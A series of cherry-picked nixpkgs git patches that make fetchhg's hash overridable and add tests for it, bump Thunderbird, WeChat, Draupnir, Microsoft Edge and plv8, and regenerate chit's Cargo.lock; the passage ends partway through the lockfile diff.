index 4c8a8f312929..f22e32aca44a 100644
--- a/pkgs/build-support/fetchhg/default.nix
+++ b/pkgs/build-support/fetchhg/default.nix
@@ -28,22 +28,22 @@ lib.extendMkDerivation {
 
     subrepoClause = lib.optionalString fetchSubrepos "S";
 
-    outputHashAlgo = if hash != null && hash != "" then null else "sha256";
+    outputHashAlgo = if finalAttrs.hash != null && finalAttrs.hash != "" then null else "sha256";
     outputHashMode = "recursive";
     outputHash =
       lib.throwIf
-        (hash != null && sha256 != null)
+        (finalAttrs.hash != null && sha256 != null)
         "Only one of sha256 or hash can be set"
         (
-          if hash != null then
-            hash
+          if finalAttrs.hash != null then
+            finalAttrs.hash
           else if sha256 != null then
             sha256
           else
             ""
         );
 
-    inherit url rev;
+    inherit url rev hash;
     inherit preferLocalBuild;
   };
 
diff --git a/pkgs/test/overriding.nix b/pkgs/test/overriding.nix
index 27f57ab1ab9d..29bdbf2fd8fd 100644
--- a/pkgs/test/overriding.nix
+++ b/pkgs/test/overriding.nix
@@ -5,7 +5,7 @@
 }:
 
 let
-  tests = tests-stdenv // test-extendMkDerivation // tests-go // tests-python;
+  tests = tests-stdenv // test-extendMkDerivation // tests-fetchhg // tests-go // tests-python;
 
   tests-stdenv =
     let
@@ -131,6 +131,51 @@ let
       };
     };
 
+  tests-fetchhg =
+    let
+      ruamel_0_18_14-hash = "sha256-HDkPPp1xI3uoGYlS9mwPp1ZjG2gKvx6vog0Blj6tBuI=";
+      ruamel_0_18_14-src = pkgs.fetchhg {
+        url = "http://hg.code.sf.net/p/ruamel-yaml/code";
+        rev = "0.18.14";
+        hash = ruamel_0_18_14-hash;
+      };
+      ruamel_0_17_21-hash = "sha256-6PV0NyPQfd+4RBqoj5vJaOHShx+TJVHD2IamRinU0VU=";
+      ruamel_0_17_21-src = pkgs.fetchhg {
+        url = "http://hg.code.sf.net/p/ruamel-yaml/code";
+        rev = "0.17.21";
+        hash = ruamel_0_17_21-hash;
+      };
+      ruamel_0_17_21-src-by-overriding = ruamel_0_18_14-src.overrideAttrs {
+        rev = "0.17.21";
+        hash = ruamel_0_17_21-hash;
+      };
+    in
+    {
+      hash-outputHash-equivalence = {
+        expr = ruamel_0_17_21-src.outputHash == ruamel_0_17_21-hash;
+        expected = true;
+      };
+
+      hash-overridability-outputHash = {
+        expr = ruamel_0_17_21-src-by-overriding.outputHash == ruamel_0_17_21-hash;
+        expected = true;
+      };
+
+      hash-overridability-drvPath = {
+        expr =
+          lib.isString ruamel_0_17_21-src-by-overriding.drvPath
+          && ruamel_0_17_21-src-by-overriding.drvPath == ruamel_0_17_21-src.drvPath;
+        expected = true;
+      };
+
+      hash-overridability-outPath = {
+        expr =
+          lib.isString ruamel_0_17_21-src-by-overriding.outPath
+          && ruamel_0_17_21-src-by-overriding.outPath == ruamel_0_17_21-src.outPath;
+        expected = true;
+      };
+    };
+
   tests-go =
     let
       pet_0_3_4 = pkgs.buildGoModule rec {

From 59b860e68987cfdadf22ae0d0cdf941bef3f64cb Mon Sep 17 00:00:00 2001
From: Yueh-Shun Li <shamrocklee@posteo.net>
Date: Tue, 1 Jul 2025 17:47:25 +0800
Subject: [PATCH 2190/4511] fetchhg: format with nixfmt-rfc-style

(cherry picked from commit 34a5b1eb23129f8fb62c677e3760903f6d43228f)
---
 pkgs/build-support/fetchhg/default.nix | 64 +++++++++++++-------------
 1 file changed, 31 insertions(+), 33 deletions(-)

diff --git a/pkgs/build-support/fetchhg/default.nix b/pkgs/build-support/fetchhg/default.nix
index f22e32aca44a..1e5e76ec4ca0 100644
--- a/pkgs/build-support/fetchhg/default.nix
+++ b/pkgs/build-support/fetchhg/default.nix
@@ -9,43 +9,41 @@ lib.extendMkDerivation {
 
   extendDrvArgs =
     finalAttrs:
-{
-  name ? null,
-  url,
-  rev ? null,
-  sha256 ? null,
-  hash ? null,
-  fetchSubrepos ? false,
-  preferLocalBuild ? true,
-}:
-  # TODO: statically check if mercurial as the https support if the url starts with https.
-  {
-    name = "hg-archive" + (lib.optionalString (name != null) "-${name}");
-    builder = ./builder.sh;
-    nativeBuildInputs = [ mercurial ];
+    {
+      name ? null,
+      url,
+      rev ? null,
+      sha256 ? null,
+      hash ? null,
+      fetchSubrepos ? false,
+      preferLocalBuild ? true,
+    }:
+    # TODO: statically check if mercurial as the https support if the url starts with https.
+    {
+      name = "hg-archive" + (lib.optionalString (name != null) "-${name}");
+      builder = ./builder.sh;
+      nativeBuildInputs = [ mercurial ];
 
-    impureEnvVars = lib.fetchers.proxyImpureEnvVars;
+      impureEnvVars = lib.fetchers.proxyImpureEnvVars;
 
-    subrepoClause = lib.optionalString fetchSubrepos "S";
+      subrepoClause = lib.optionalString fetchSubrepos "S";
 
-    outputHashAlgo = if finalAttrs.hash != null && finalAttrs.hash != "" then null else "sha256";
-    outputHashMode = "recursive";
-    outputHash =
-      lib.throwIf
-        (finalAttrs.hash != null && sha256 != null)
-        "Only one of sha256 or hash can be set"
-        (
-          if finalAttrs.hash != null then
-            finalAttrs.hash
-          else if sha256 != null then
-            sha256
-          else
-            ""
-        );
+      outputHashAlgo = if finalAttrs.hash != null && finalAttrs.hash != "" then null else "sha256";
+      outputHashMode = "recursive";
+      outputHash =
+        lib.throwIf (finalAttrs.hash != null && sha256 != null) "Only one of sha256 or hash can be set"
+          (
+            if finalAttrs.hash != null then
+              finalAttrs.hash
+            else if sha256 != null then
+              sha256
+            else
+              ""
+          );
 
-    inherit url rev hash;
-    inherit preferLocalBuild;
-  };
+      inherit url rev hash;
+      inherit preferLocalBuild;
+    };
 
   # No ellipsis
   inheritFunctionArgs = false;

From 6188f19467beb83d5bb12d3a91444a5659311560 Mon Sep 17 00:00:00 2001
From: Yueh-Shun Li <shamrocklee@posteo.net>
Date: Wed, 9 Jul 2025 01:18:43 +0800
Subject: [PATCH 2191/4511] .git-blame-ignore-revs: add fetchhg formatting
 after refactoring with lib.extendMkDerivation

(cherry picked from commit 3d7b288269865abb87deb717f38beaf5b1a43829)
---
 .git-blame-ignore-revs | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/.git-blame-ignore-revs b/.git-blame-ignore-revs
index 1e37e6f68ffe..8b313d9785db 100644
--- a/.git-blame-ignore-revs
+++ b/.git-blame-ignore-revs
@@ -193,6 +193,9 @@ cffc27daf06c77c0d76bc35d24b929cb9d68c3c9
 # nixos/kanidm: inherit lib, nixfmt
 8f18393d380079904d072007fb19dc64baef0a3a
 
+# fetchhg: format after refactoring with lib.extendMkDerivation and make overridable (#423539)
+34a5b1eb23129f8fb62c677e3760903f6d43228f
+
 # fetchurl: nixfmt-rfc-style
 ce21e97a1f20dee15da85c084f9d1148d84f853b
 

From f4f16397e90c9cd68ac1b5c6359fb012feeffc1c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Vladim=C3=ADr=20=C4=8Cun=C3=A1t?= <v@cunat.cz>
Date: Tue, 8 Jul 2025 17:05:14 +0200
Subject: [PATCH 2192/4511] thunderbird: 139.0.2 -> 140.0

https://www.thunderbird.net/en-US/thunderbird/140.0/releasenotes/
The patch needed tiny conflict-resolution.

(cherry picked from commit 7c291f8e2cac75d3ca8faab5fc8b4f09af2de000)
---
 .../thunderbird/no-buildconfig-tb140.patch           | 12 ++++++++++++
 .../networking/mailreaders/thunderbird/packages.nix  |  6 +++---
 2 files changed, 15 insertions(+), 3 deletions(-)
 create mode 100644 pkgs/applications/networking/mailreaders/thunderbird/no-buildconfig-tb140.patch

diff --git a/pkgs/applications/networking/mailreaders/thunderbird/no-buildconfig-tb140.patch b/pkgs/applications/networking/mailreaders/thunderbird/no-buildconfig-tb140.patch
new file mode 100644
index 000000000000..4ac9834696b0
--- /dev/null
+++ b/pkgs/applications/networking/mailreaders/thunderbird/no-buildconfig-tb140.patch
@@ -0,0 +1,12 @@
+Remove about:buildconfig.  If used as-is, it would add unnecessary runtime dependencies.
+--- a/comm/mail/base/jar.mn
++++ b/comm/mail/base/jar.mn
+@@ -132,8 +132,6 @@
+ % override chrome://mozapps/content/profile/profileDowngrade.js chrome://messenger/content/profileDowngrade.js
+ % override chrome://mozapps/content/profile/profileDowngrade.xhtml chrome://messenger/content/profileDowngrade.xhtml
+ 
+-*   content/messenger/buildconfig.html              (content/buildconfig.html)
+-% override chrome://global/content/buildconfig.html chrome://messenger/content/buildconfig.html
+ % override chrome://global/locale/appstrings.properties chrome://messenger/locale/appstrings.properties
+ 
+ comm.jar:
diff --git a/pkgs/applications/networking/mailreaders/thunderbird/packages.nix b/pkgs/applications/networking/mailreaders/thunderbird/packages.nix
index 168bd3881d64..35f83fe6812d 100644
--- a/pkgs/applications/networking/mailreaders/thunderbird/packages.nix
+++ b/pkgs/applications/networking/mailreaders/thunderbird/packages.nix
@@ -47,7 +47,7 @@ let
       extraPatches =
         [
           # The file to be patched is different from firefox's `no-buildconfig-ffx90.patch`.
-          ./no-buildconfig.patch
+          (if lib.versionOlder version "140" then ./no-buildconfig.patch else ./no-buildconfig-tb140.patch)
         ]
         ++ lib.optionals (lib.versionOlder version "139") [
           # clang-19 fixes for char_traits build issue
@@ -95,8 +95,8 @@ rec {
   thunderbird = thunderbird-latest;
 
   thunderbird-latest = common {
-    version = "139.0.2";
-    sha512 = "edb20c692674dc5c3ba70673f7dd03710bf7ac0ce2be614a7a4b3d2b40b20b4974aab2a621dd5b43720c412a590c08f8b78abeb9b61f288f3217c6a04cc1e8ff";
+    version = "140.0";
+    sha512 = "2e9a5fb44b21eba3e3295205142bfad666a65f9eea43118388968320597a940cf3c5675fbcf458fbbaa9e1bb85fe8a663feda6461b7e23f7103c5bb7a1103bd4";
 
     updateScript = callPackage ./update.nix {
       attrPath = "thunderbirdPackages.thunderbird-latest";

From 7aee3be70e4a3498bf3fee63e6a696a3cd834488 Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Wed, 9 Jul 2025 13:20:31 +0800
Subject: [PATCH 2193/4511] wechat: 4.0.6.17-29381 -> 4.0.6.19-29383 for darwin

(cherry picked from commit 3332ddd102a528b156b57f69f12dd15c476e6ce6)
---
 pkgs/by-name/we/wechat/package.nix | 17 +++++++++++------
 1 file changed, 11 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/we/wechat/package.nix b/pkgs/by-name/we/wechat/package.nix
index 793d857a2665..ca5db30472f3 100644
--- a/pkgs/by-name/we/wechat/package.nix
+++ b/pkgs/by-name/we/wechat/package.nix
@@ -28,13 +28,18 @@ let
   sources =
     let
       # https://dldir1.qq.com/weixin/mac/mac-release.xml
-      any-darwin = {
-        version = "4.0.6.17-29381";
-        src = fetchurl {
-          url = "https://dldir1v6.qq.com/weixin/Universal/Mac/xWeChatMac_universal_4.0.6.17_29381.dmg";
-          hash = "sha256-Fv5UYZ5+WfHvs+V3yiLSQitj++3WU+0GJsnIdlwB+TE=";
+      any-darwin =
+        let
+          version = "4.0.6.19-29383";
+          version' = lib.replaceString "-" "_" version;
+        in
+        {
+          inherit version;
+          src = fetchurl {
+            url = "https://dldir1v6.qq.com/weixin/Universal/Mac/xWeChatMac_universal_${version'}.dmg";
+            hash = "sha256-HloG++DGzsxM7C0AbN4PXkkzFdhUhBDcH5Vq+bTUuEE=";
+          };
         };
-      };
     in
     {
       aarch64-darwin = any-darwin;

From 7a2ebce736b94d24629c0755aa23ed91648636a1 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Tue, 8 Jul 2025 16:59:32 +0200
Subject: [PATCH 2194/4511] draupnir: 2.4.1 -> 2.5.0

https://github.com/the-draupnir-project/Draupnir/releases/tag/v2.5.0
(cherry picked from commit 9ba028f6b0c1a1c0ff984b94e03c6e42e4524636)
---
 pkgs/by-name/dr/draupnir/hashes.json  | 2 +-
 pkgs/by-name/dr/draupnir/package.json | 4 ++--
 pkgs/by-name/dr/draupnir/package.nix  | 4 ++--
 3 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/dr/draupnir/hashes.json b/pkgs/by-name/dr/draupnir/hashes.json
index 3bf0d669f051..e8efb8111d6b 100644
--- a/pkgs/by-name/dr/draupnir/hashes.json
+++ b/pkgs/by-name/dr/draupnir/hashes.json
@@ -1,3 +1,3 @@
 {
-  "yarn_offline_cache_hash": "sha256-OFzs3151Y5GGMS9VfV/Y7yUSqTOCns4QE+S/Cn3TN90="
+  "yarn_offline_cache_hash": "sha256-M0K26W917xtv2KxyATI2pCsyDo8ybjiFqLHPlXY9c8g="
 }
diff --git a/pkgs/by-name/dr/draupnir/package.json b/pkgs/by-name/dr/draupnir/package.json
index 53de23a7ee30..cd91cacb1519 100644
--- a/pkgs/by-name/dr/draupnir/package.json
+++ b/pkgs/by-name/dr/draupnir/package.json
@@ -1,6 +1,6 @@
 {
   "name": "draupnir",
-  "version": "2.4.1",
+  "version": "2.5.0",
   "description": "A moderation tool for Matrix",
   "main": "lib/index.js",
   "repository": "https://github.com/the-draupnir-project/Draupnir.git",
@@ -63,7 +63,7 @@
     "jsdom": "^24.0.0",
     "matrix-appservice-bridge": "^10.3.1",
     "matrix-bot-sdk": "npm:@vector-im/matrix-bot-sdk@^0.7.1-element.6",
-    "matrix-protection-suite": "npm:@gnuxie/matrix-protection-suite@3.6.2",
+    "matrix-protection-suite": "npm:@gnuxie/matrix-protection-suite@3.7.1",
     "matrix-protection-suite-for-matrix-bot-sdk": "npm:@gnuxie/matrix-protection-suite-for-matrix-bot-sdk@3.6.6",
     "pg": "^8.8.0",
     "yaml": "^2.3.2"
diff --git a/pkgs/by-name/dr/draupnir/package.nix b/pkgs/by-name/dr/draupnir/package.nix
index 4693f34d9ba5..f663bd139a39 100644
--- a/pkgs/by-name/dr/draupnir/package.nix
+++ b/pkgs/by-name/dr/draupnir/package.nix
@@ -22,13 +22,13 @@ let
 in
 mkYarnPackage rec {
   pname = "draupnir";
-  version = "2.4.1";
+  version = "2.5.0";
 
   src = fetchFromGitHub {
     owner = "the-draupnir-project";
     repo = "Draupnir";
     tag = "v${version}";
-    hash = "sha256-mH5SzguZq1H+njHxWLfjXF3y3/v34KUg45ELL+femNw=";
+    hash = "sha256-au0qYS646MAXyfQTk6gJem3geTecgDwzZl+87/6VE5A=";
   };
 
   nativeBuildInputs = [

From 63d9ccdcdce4fe86e30e4cd2d5fd35ba13995064 Mon Sep 17 00:00:00 2001
From: Louis Bailleau <louis13.bailleau@gmail.com>
Date: Wed, 9 Jul 2025 10:59:31 +0200
Subject: [PATCH 2195/4511] microsoft-edge: 138.0.3351.65 -> 138.0.3351.77

(cherry picked from commit 6df8184d859ee8c714134174a04338bf2f570d80)
---
 pkgs/by-name/mi/microsoft-edge/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/mi/microsoft-edge/package.nix b/pkgs/by-name/mi/microsoft-edge/package.nix
index e928d5608ee1..f46ebf573dd7 100644
--- a/pkgs/by-name/mi/microsoft-edge/package.nix
+++ b/pkgs/by-name/mi/microsoft-edge/package.nix
@@ -179,11 +179,11 @@ in
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "microsoft-edge";
-  version = "138.0.3351.65";
+  version = "138.0.3351.77";
 
   src = fetchurl {
     url = "https://packages.microsoft.com/repos/edge/pool/main/m/microsoft-edge-stable/microsoft-edge-stable_${finalAttrs.version}-1_amd64.deb";
-    hash = "sha256-+8bV3pwoYvp4e0eJHj5/NSu15QiFwVJuGxFJkS76gwI=";
+    hash = "sha256-8D0aYlzkp5ol7s6m1342BJONiiQgyZeClREFw0mZqHY=";
   };
 
   # With strictDeps on, some shebangs were not being patched correctly

From 2124fe75d11c1325c978f559447d4a78e99ef229 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 9 Jul 2025 14:19:36 +0000
Subject: [PATCH 2196/4511] postgresqlPackages.plv8: 3.2.3 -> 3.2.4

(cherry picked from commit 75132c6bad4eb0cfe7d0426f9aec7f950154aaee)
---
 pkgs/servers/sql/postgresql/ext/plv8/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/sql/postgresql/ext/plv8/package.nix b/pkgs/servers/sql/postgresql/ext/plv8/package.nix
index 5b4423171934..73e0288c0a77 100644
--- a/pkgs/servers/sql/postgresql/ext/plv8/package.nix
+++ b/pkgs/servers/sql/postgresql/ext/plv8/package.nix
@@ -17,13 +17,13 @@ let
 in
 postgresqlBuildExtension (finalAttrs: {
   pname = "plv8";
-  version = "3.2.3";
+  version = "3.2.4";
 
   src = fetchFromGitHub {
     owner = "plv8";
     repo = "plv8";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-ivQZJSNn5giWF351fqZ7mBZoJkGtby5T7beK45g3Zqs=";
+    hash = "sha256-v4r/6qwDwb3+PQPYV3FqmIcDEkSr8F46PVlFnhUWUGc=";
   };
 
   patches = [

From 89e61ffdd6cead0c7f0573f1ddb0488a90f78562 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 9 Jul 2025 16:44:42 +0200
Subject: [PATCH 2197/4511] postgresqlPackages.plv8: fix meta.changelog

(cherry picked from commit b5ba681ba9510981a2846c189e998d16d53b3137)
---
 pkgs/servers/sql/postgresql/ext/plv8/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/servers/sql/postgresql/ext/plv8/package.nix b/pkgs/servers/sql/postgresql/ext/plv8/package.nix
index 73e0288c0a77..c023eaf8c163 100644
--- a/pkgs/servers/sql/postgresql/ext/plv8/package.nix
+++ b/pkgs/servers/sql/postgresql/ext/plv8/package.nix
@@ -132,7 +132,7 @@ postgresqlBuildExtension (finalAttrs: {
   meta = {
     description = "V8 Engine Javascript Procedural Language add-on for PostgreSQL";
     homepage = "https://plv8.github.io/";
-    changelog = "https://github.com/plv8/plv8/blob/r${finalAttrs.version}/Changes";
+    changelog = "https://github.com/plv8/plv8/blob/v${finalAttrs.version}/Changes";
     maintainers = [ ];
     platforms = postgresql.meta.platforms;
     license = lib.licenses.postgresql;

From baf6e4006100a92bf7e8ab697309d2ea8b373650 Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Tue, 8 Jul 2025 11:32:49 -0400
Subject: [PATCH 2198/4511] chit: regenerate lockfile

Updates some vulnerable dependencies.

(cherry picked from commit 182edd55f086293f00f8f80c8fcdde87053d09e3)
---
 pkgs/by-name/ch/chit/Cargo.lock | 878 ++++++++++++++++++++------------
 1 file changed, 554 insertions(+), 324 deletions(-)

diff --git a/pkgs/by-name/ch/chit/Cargo.lock b/pkgs/by-name/ch/chit/Cargo.lock
index 1a2b7a766e20..01e9da5e0bd9 100644
--- a/pkgs/by-name/ch/chit/Cargo.lock
+++ b/pkgs/by-name/ch/chit/Cargo.lock
@@ -1,21 +1,21 @@
 # This file is automatically @generated by Cargo.
 # It is not intended for manual editing.
-version = 3
+version = 4
 
 [[package]]
 name = "addr2line"
-version = "0.19.0"
+version = "0.24.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a76fd60b23679b7d19bd066031410fb7e458ccc5e958eb5c325888ce4baedc97"
+checksum = "dfbe277e56a376000877090da837660b4427aad530e3028d44e0bffe4f89a1c1"
 dependencies = [
  "gimli",
 ]
 
 [[package]]
-name = "adler"
-version = "1.0.2"
+name = "adler2"
+version = "2.0.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe"
+checksum = "320119579fcad9c21884f5c4861d16174d0e06250625266f50fe6898340abefa"
 
 [[package]]
 name = "ansi_term"
@@ -54,28 +54,28 @@ version = "0.1.8"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "0dde43e75fd43e8a1bf86103336bc699aa8d17ad1be60c76c0bdfd4828e19b78"
 dependencies = [
- "autocfg 1.1.0",
+ "autocfg 1.5.0",
 ]
 
 [[package]]
 name = "autocfg"
-version = "1.1.0"
+version = "1.5.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa"
+checksum = "c08606f8c3cbf4ce6ec8e28fb0014a2c086708fe954eaa885384a6165172e7e8"
 
 [[package]]
 name = "backtrace"
-version = "0.3.67"
+version = "0.3.75"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "233d376d6d185f2a3093e58f283f60f880315b6c60075b01f36b3b85154564ca"
+checksum = "6806a6321ec58106fea15becdad98371e28d92ccbc7c8f1b3b6dd724fe8f1002"
 dependencies = [
  "addr2line",
- "cc",
- "cfg-if 1.0.0",
+ "cfg-if 1.0.1",
  "libc",
- "miniz_oxide 0.6.2",
+ "miniz_oxide",
  "object",
  "rustc-demangle",
+ "windows-targets 0.52.6",
 ]
 
 [[package]]
@@ -103,10 +103,16 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a"
 
 [[package]]
-name = "byteorder"
-version = "1.4.3"
+name = "bitflags"
+version = "2.9.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "14c189c53d098945499cdfa7ecc63567cf3886b3332b312a5b4585d8d3a6a610"
+checksum = "1b8e56985ec62d17e9c1001dc89c88ecd7dc08e47eba5ec7c29c7b5eeecde967"
+
+[[package]]
+name = "byteorder"
+version = "1.5.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b"
 
 [[package]]
 name = "bytes"
@@ -121,9 +127,12 @@ dependencies = [
 
 [[package]]
 name = "cc"
-version = "1.0.79"
+version = "1.2.29"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "50d30906286121d95be3d479533b458f87493b30a4b5f79a607db8f5d11aa91f"
+checksum = "5c1599538de2394445747c8cf7935946e3cc27e9625f889d979bfb2aaf569362"
+dependencies = [
+ "shlex",
+]
 
 [[package]]
 name = "cfg-if"
@@ -133,9 +142,9 @@ checksum = "4785bdd1c96b2a846b2bd7cc02e86b6b3dbf14e7e53446c4f54c92a361040822"
 
 [[package]]
 name = "cfg-if"
-version = "1.0.0"
+version = "1.0.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
+checksum = "9555578bc9e57714c812a1f84e4fc5b4d21fcb063490c624de019f7464c91268"
 
 [[package]]
 name = "chit"
@@ -160,7 +169,7 @@ checksum = "a0610544180c38b88101fecf2dd634b174a62eef6946f84dfc6a7127512b381c"
 dependencies = [
  "ansi_term",
  "atty",
- "bitflags",
+ "bitflags 1.3.2",
  "strsim",
  "textwrap",
  "unicode-width",
@@ -173,16 +182,16 @@ version = "0.0.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "ddfc5b9aa5d4507acaf872de71051dfd0e309860e88966e1051e462a077aac4f"
 dependencies = [
- "bitflags",
+ "bitflags 1.3.2",
 ]
 
 [[package]]
 name = "colored"
-version = "1.9.3"
+version = "1.9.4"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f4ffc801dacf156c5854b9df4f425a626539c3a6ef7893cc0c5084a23f0b6c59"
+checksum = "5a5f741c91823341bebf717d4c71bda820630ce065443b58bd1b7451af008355"
 dependencies = [
- "atty",
+ "is-terminal",
  "lazy_static",
  "winapi 0.3.9",
 ]
@@ -217,9 +226,9 @@ dependencies = [
 
 [[package]]
 name = "core-foundation"
-version = "0.9.3"
+version = "0.9.4"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "194a7a9e6de53fa55116934067c844d9d749312f75c6f6d0980e8c252f8c2146"
+checksum = "91e195e091a93c46f7102ec7818a2aa394e1e1771c3ab4825963fa03e45afb8f"
 dependencies = [
  "core-foundation-sys",
  "libc",
@@ -227,17 +236,17 @@ dependencies = [
 
 [[package]]
 name = "core-foundation-sys"
-version = "0.8.4"
+version = "0.8.7"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e496a50fda8aacccc86d7529e2c1e0892dbd0f898a6b5645b5561b89c3210efa"
+checksum = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b"
 
 [[package]]
 name = "crc32fast"
-version = "1.3.2"
+version = "1.4.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b540bd8bc810d3885c6ea91e2018302f68baba2129ab3e88f32389ee9370880d"
+checksum = "a97769d94ddab943e4510d138150169a2758b5ef3eb191a9ee688de3e23ef7b3"
 dependencies = [
- "cfg-if 1.0.0",
+ "cfg-if 1.0.1",
 ]
 
 [[package]]
@@ -257,7 +266,7 @@ version = "0.8.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "058ed274caafc1f60c4997b5fc07bf7dc7cca454af7c6e81edffe5f33f70dace"
 dependencies = [
- "autocfg 1.1.0",
+ "autocfg 1.5.0",
  "cfg-if 0.1.10",
  "crossbeam-utils",
  "lazy_static",
@@ -283,11 +292,22 @@ version = "0.7.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "c3c7c73a2d1e9fc0886a08b93e98eb643461230d5f1925e4036204d5f2e261a8"
 dependencies = [
- "autocfg 1.1.0",
+ "autocfg 1.5.0",
  "cfg-if 0.1.10",
  "lazy_static",
 ]
 
+[[package]]
+name = "displaydoc"
+version = "0.2.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "97369cbbc041bc366949bc74d34658d6cda5621039731c6310521892a3a20ae0"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.104",
+]
+
 [[package]]
 name = "dtoa"
 version = "0.4.8"
@@ -296,38 +316,27 @@ checksum = "56899898ce76aaf4a0f24d914c97ea6ed976d42fec6ad33fcbb0a1103e07b2b0"
 
 [[package]]
 name = "either"
-version = "1.8.1"
+version = "1.15.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7fcaabb2fef8c910e7f4c7ce9f67a1283a1715879a7c230ca9d6d1ae31f16d91"
+checksum = "48c757948c5ede0e46177b7add2e67155f70e33c07fea8284df6576da70b3719"
 
 [[package]]
 name = "encoding_rs"
-version = "0.8.32"
+version = "0.8.35"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "071a31f4ee85403370b58aca746f01041ede6f0da2730960ad001edc2b71b394"
+checksum = "75030f3c4f45dafd7586dd6780965a8c7e8e285a5ecb86713e63a79c5b2766f3"
 dependencies = [
- "cfg-if 1.0.0",
+ "cfg-if 1.0.1",
 ]
 
 [[package]]
 name = "errno"
-version = "0.3.1"
+version = "0.3.13"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4bcfec3a70f97c962c307b2d2c56e358cf1d00b558d74262b5f929ee8cc7e73a"
+checksum = "778e2ac28f6c47af28e4907f13ffd1e1ddbd400980a9abd7c8df189bf578a5ad"
 dependencies = [
- "errno-dragonfly",
- "libc",
- "windows-sys 0.48.0",
-]
-
-[[package]]
-name = "errno-dragonfly"
-version = "0.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "aa68f1b12764fab894d2755d2518754e71b4fd80ecfb822714a1206c2aab39bf"
-dependencies = [
- "cc",
  "libc",
+ "windows-sys 0.60.2",
 ]
 
 [[package]]
@@ -349,26 +358,23 @@ dependencies = [
  "proc-macro2",
  "quote",
  "syn 1.0.109",
- "synstructure",
+ "synstructure 0.12.6",
 ]
 
 [[package]]
 name = "fastrand"
-version = "1.9.0"
+version = "2.3.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e51093e27b0797c359783294ca4f0a911c270184cb10f85783b118614a1501be"
-dependencies = [
- "instant",
-]
+checksum = "37909eebbb50d72f9059c3b6d82c0463f2ff062c9e95845c43a6c9c0355411be"
 
 [[package]]
 name = "flate2"
-version = "1.0.26"
+version = "1.1.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3b9429470923de8e8cbd4d2dc513535400b4b3fef0319fb5c4e1f520a7bef743"
+checksum = "4a3d7db9596fecd151c5f638c0ee5d5bd487b6e0ea232e5dc96d5250f6f94b1d"
 dependencies = [
  "crc32fast",
- "miniz_oxide 0.7.1",
+ "miniz_oxide",
 ]
 
 [[package]]
@@ -394,11 +400,11 @@ checksum = "00b0228411908ca8685dba7fc2cdd70ec9990a6e753e89b6ac91a84c40fbaf4b"
 
 [[package]]
 name = "form_urlencoded"
-version = "1.1.0"
+version = "1.2.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a9c384f161156f5260c24a097c56119f9be8c798586aecc13afbcbe7b7e26bf8"
+checksum = "e13624c2627564efccf4934284bdd98cbaa14e79b0b5a141218e507b3a823456"
 dependencies = [
- "percent-encoding 2.2.0",
+ "percent-encoding 2.3.1",
 ]
 
 [[package]]
@@ -413,7 +419,7 @@ version = "0.3.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "2e9763c69ebaae630ba35f74888db465e49e259ba1bc0eda7d06f4a067615d82"
 dependencies = [
- "bitflags",
+ "bitflags 1.3.2",
  "fuchsia-zircon-sys",
 ]
 
@@ -440,10 +446,22 @@ dependencies = [
 ]
 
 [[package]]
-name = "gimli"
-version = "0.27.2"
+name = "getrandom"
+version = "0.3.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ad0a93d233ebf96623465aad4046a8d3aa4da22d4f4beba5388838c8a434bbb4"
